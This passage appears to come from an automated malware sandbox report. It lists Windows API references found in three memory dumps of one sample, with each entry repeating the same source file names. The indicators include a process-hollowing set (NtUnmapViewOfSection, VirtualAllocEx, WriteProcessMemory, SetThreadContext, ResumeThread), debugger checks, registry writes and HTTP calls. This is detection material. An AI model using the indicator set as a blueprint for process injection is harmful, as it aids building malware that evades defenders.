Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 